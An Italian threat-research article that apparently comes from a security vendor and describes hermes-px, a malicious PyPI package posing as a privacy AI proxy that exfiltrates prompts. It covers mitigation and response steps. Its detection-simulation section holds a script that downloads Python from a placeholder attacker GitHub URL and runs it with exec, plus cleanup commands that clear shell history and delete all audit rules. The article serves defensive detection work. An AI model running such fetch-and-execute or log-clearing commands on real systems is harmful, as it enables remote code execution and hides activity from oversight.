SOC Prime Bias: Critico

08 Apr 2026 15:28 UTC

hermes-px: Un Falso Proxy Privacy che Esfiltra Prompt e Manomette il Codice Claude

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
hermes-px: Un Falso Proxy Privacy che Esfiltra Prompt e Manomette il Codice Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

La ricerca sulla sicurezza di JFrog ha identificato un pacchetto PyPI malevolo, hermes-px, che si spaccia per un proxy di inferenza AI che privilegia la privacy. Invece di proteggere gli utenti, instrada il traffico attraverso Tor verso un endpoint AI ospitato da un’università non autorizzata, scambia o riscrive messaggi di sistema ed esfiltra istruzioni e risposte del modello verso un backend Supabase. Il pacchetto incorpora anche un prompt di sistema Claude di Anthropic rubato e rinominato, rafforzando l’inganno. hermes-px è distribuito tramite PyPI pubblico ed è installabile tramite workflow standard pip, rendendo facile poterlo integrare negli ambienti di sviluppo.

Indagine

I ricercatori hanno esaminato il codice sorgente e rilevato tre strati di crittografia impiegati per nascondere stringhe sensibili, insieme a una chiave API Supabase hard-coded e a un componente di telemetria che trasmette dati direttamente su internet pubblico. L’endpoint upstream decifrato risolve in un’API universitaria privata protetta da Azure WAF, indicando un abuso di infrastruttura non intesa per proxy pubblico. La documentazione del progetto esorta ulteriormente gli utenti a scaricare ed eseguire codice aggiuntivo da un URL di GitHub, estendendo il rischio oltre il pacchetto stesso. Per mimetizzarsi nei normali pattern di sviluppo, hermes-px imita l’interfaccia SDK Python di OpenAI, riducendo i sospetti durante l’integrazione.

Mitigazione

Rimuovere hermes-px da tutti gli ambienti e bloccare le fonti di dipendenza per prevenire la reinstallazione. Ruotare eventuali credenziali che potrebbero essere state esposte in prompt, configurazioni o log, e bloccare l’accesso al dominio di esfiltrazione di Supabase e ad altri URL dannosi identificati. Se Tor è stato installato specificamente per supportare questo strumento, rimuoverlo e rivedere i controlli di rete correlati. Presumere che i prompt possano contenere dati sensibili e rivedere qualsiasi contenuto catturato per segreti, token o informazioni regolamentate.

Risposta

Cercare installazioni di hermes-px utilizzando inventari di pacchetti e baseline delle workstation degli sviluppatori, quindi avvisare sulle connessioni in uscita verso supabase.co e l’endpoint API universitario identificato. Mettere in quarantena gli host interessati, preservare artefatti rilevanti (file di pacchetti, cronologie dei terminali, file di blocco delle dipendenze) e determinare quali prompt e risposte sono stati trasmessi per delimitare l’esposizione. Notificare gli utenti interessati e, se applicabile, l’istituzione(i) colpita(e), e aggiornare le rilevazioni per segnalare analoghi SDK, comportamento proxy mediato da Tor e moduli di telemetria sospetti nei pacchetti Python.

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il controllo preliminare di telemetria e baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare l’esatta telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrativa e Comandi dell’Attacco:
    Un attaccante ha ottenuto un payload Python malevolo ospitato su un repository pubblico di GitHub. Per evitare di scrivere file su disco (riducendo l’impronta forense), utilizzano un singolo comando Python che:

    1. Chiama urllib.request.urlopen() per scaricare il contenuto del script grezzo da GitHub.
    2. Legge la risposta e passa i byte al exec() per l’esecuzione immediata.
    3. Esegue il comando su un host Linux compromesso dove l’attaccante ha già una shell a bassa privilegi.

    Questo esatto schema (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") corrisponde ai criteri di stringa della regola di rilevamento.

  • Script di Test di Regressione:

    #!/bin/bash
    #
    # Simula l'esecuzione di Python malevolo che dovrebbe attivare la regola Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Salvare questo script come trigger_detection.sh, renderlo eseguibile (chmod +x trigger_detection.sh), e eseguirlo sull’host di destinazione.

  • Comandi di Pulizia:

    # Nessun artefatto persistente viene creato, ma assicurarsi che il terminale sia pulito.
    history -c                     # Cancella la cronologia dei comandi per la sessione corrente
    sudo auditctl -D               # (Opzionale) Rimuovere tutte le regole di audit runtime se aggiunte solo per il test
    # Se aggiunti una regola persistente in /etc/audit/rules.d/, considerare di rimuoverla:
    # sudo rm /etc/audit/rules.d/process_creation.rules